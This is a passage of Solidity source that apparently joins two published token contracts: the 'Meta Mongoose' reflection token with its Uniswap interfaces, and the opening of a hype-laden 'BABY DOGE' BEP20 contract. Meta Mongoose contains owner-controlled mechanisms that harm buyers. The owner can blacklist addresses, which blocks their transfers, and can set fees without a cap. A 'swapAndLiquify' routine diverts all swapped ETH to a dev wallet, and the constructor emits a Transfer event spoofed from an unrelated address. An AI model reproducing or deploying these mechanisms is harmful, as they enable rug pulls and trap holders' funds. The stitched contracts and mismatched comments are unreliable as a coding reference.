* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract MetaMongoose is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Meta Mongoose";
string private _symbol = "MM";
uint8 private _decimals = 9;
uint256 public _taxFee = 1;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 10;
uint256 private _previousLiquidityFee = _liquidityFee;
address payable public _devWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 1000000000000 * 10**6 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 500000 * 10**6 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address payable devWalletAddress) public {
_devWalletAddress = devWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(0xa1817B6d8D890F3943b61648992730373B71f156, _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function setDevFeeDisabled(bool _devFeeEnabled ) public returns (bool){
require(msg.sender == _devWalletAddress, "Only Dev Address can disable dev fee");
swapAndLiquifyEnabled = _devFeeEnabled;
return(swapAndLiquifyEnabled);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function _setdevWallet(address payable devWalletAddress) external onlyOwner() {
_devWalletAddress = devWalletAddress;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[to], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
require(!_isBlackListedBot[from], "You have no power here!");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 tokenBalance = contractTokenBalance;
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(tokenBalance); // <- breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
sendETHTodev(newBalance);
// add liquidity to uniswap
emit SwapAndLiquify(tokenBalance, newBalance);
}
function sendETHTodev(uint256 amount) private {
_devWalletAddress.transfer(amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
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/**
*Submitted for verification at Etherscan.io on 2021-07-01
*/
//ELON TWEETED WE DELIVERED
/*
**** 40% SUPPLY BURN
**** 60% UNISWAP STEALTH LAUNCH
**** 100% LP TOKENS BURNED AT LAUNCH
**** OWNERSHIP RENOUNCED AFTER LAUNCH
**** EXPECT US SOON :)
*/
/********************************************************
██████╗░░█████╗░██████╗░██╗░░░██╗ ██████╗░░█████╗░░██████╗░███████╗
██╔══██╗██╔══██╗██╔══██╗╚██╗░██╔╝ ██╔══██╗██╔══██╗██╔════╝░██╔════╝
██████╦╝███████║██████╦╝░╚████╔╝░ ██║░░██║██║░░██║██║░░██╗░█████╗░░
██╔══██╗██╔══██║██╔══██╗░░╚██╔╝░░ ██║░░██║██║░░██║██║░░╚██╗██╔══╝░░
██████╦╝██║░░██║██████╦╝░░░██║░░░ ██████╔╝╚█████╔╝╚██████╔╝███████╗
╚═════╝░╚═╝░░╚═╝╚═════╝░░░░╚═╝░░░ ╚═════╝░░╚════╝░░╚═════╝░╚══════╝
*********************************************************
*/
/*
Copyright © 2021 BABY DOGE. All rights reserved.
*/
pragma solidity 0.5.16;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
